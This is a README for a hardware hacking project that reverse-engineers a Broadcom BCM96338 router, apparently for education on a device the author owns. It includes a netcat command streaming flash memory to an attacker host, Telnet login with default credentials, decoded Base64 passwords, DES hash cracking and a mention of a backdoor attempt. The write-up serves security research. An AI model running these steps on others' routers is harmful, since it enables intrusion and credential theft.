Modem-Reverse-Engineering documents the end-to-end reverse engineering process of a Broadcom BCM96338 based embedded device (Pikatel / AirTies). The goal was to audit the device's security, understand its proprietary file system, and retrieve hidden credentials using both static and live analysis techniques.
- Network Reconnaissance: Service enumeration revealing exposed Telnet and FTP ports.
- Firmware Exfiltration: Bypassed restricted environment using Netcat "Blind Stream" to dump flash memory over TCP.
- Architecture Analysis: Handled Big Endian MIPS constraints and proprietary Broadcom headers.
- Live Analysis: Navigated the Read-Only SquashFS to extract Base64 encoded configuration credentials.
- Privilege Escalation: Cracked legacy DES (crypt3) system hashes using John the Ripper.
The embedded device maintains a specific memory and filesystem structure for its operation:
/
├── dev/ # Device nodes
│ └── mtdblock0 # Flash storage block containing the full firmware (mtd0)
├── etc/ # System configuration
│ └── passwd # DES encrypted user hashes
├── proc/ # Kernel and process information
│ └── mtd # Memory layout map
└── var/ # Volatile data and temporary configuration
Figure: Verifying the Kernel version and CPU architecture (MIPS Big Endian, BCM6338).
Before you begin the analysis, ensure you have the following tools available:
- nmap (Network scanning)
- netcat (Data streaming)
- John the Ripper (Hash cracking)
- Unix utilities (
dd,strings,binwalk)
Enumerate the device services and gain initial shell access:
nmap -p- -sV <router_ip>
Using default credentials (admin:password), gain shell access via Telnet:
telnet <router_ip>
Standard tools like wget were stripped down. Since I couldn't download files to the router, I streamed the data out using Netcat.
On the attacker machine, start a listener:
./scripts/exfiltrate_firmware.sh 2323On the compromised router, stream the mtd0 flash block:
cat /dev/mtdblock0 | nc <attacker_ip> 2323
Strip the proprietary Broadcom header to prepare for analysis:
./scripts/strip_header.sh firmware_dump.bin firmware_squashfs.binThe analysis revealed several critical vulnerabilities and architectural constraints:
Standard extraction tools on modern x86/x64 systems failed natively reading the file system due to the Big Endian MIPS architecture.
Pivoting to Live Analysis, sensitive credentials (ISP PPPoE password, Support credentials) were found in an XML file, encoded merely with Base64.
cGFzc3dvcmQ=-> password (Admin)c3VwcG9ydA==-> support (Hidden Service Account)
System user hashes from /etc/passwd were cracked in seconds using John the Ripper.
Attempting to write a backdoor failed because the root file system is mounted as Read-Only (SquashFS).
| Layer | Finding | Impact |
|---|---|---|
| Network | Exposed Telnet | Unencrypted remote management accessible by default. |
| Storage | Base64 Credentials | Passwords stored in easily reversible format. |
| Authentication | DES (crypt3) Hashes | Weak, easily crackable legacy hashing algorithm. |
| System | Read-Only SquashFS | Prevented simple persistence, requiring full reflash |
This analysis leveraged several tools. For advanced usage, refer to their official documentation:
| Tool | Role | Documentation |
|---|---|---|
| Nmap | Reconnaissance | nmap.org |
| Netcat | Data Exfiltration | nc110 |
| John the Ripper | Hash Cracking | openwall.com/john |
| Binwalk | Static Analysis | github.com/ReFirmLabs/binwalk |
⚠️ Disclaimer: This project is strictly for educational purposes and was performed on hardware I own. Sensitive details (MAC addresses, Public IPs) have been sanitized. The author is not responsible for any misuse or legal consequences. Always comply with your local laws.
Distributed under the MIT License. See LICENSE for more information.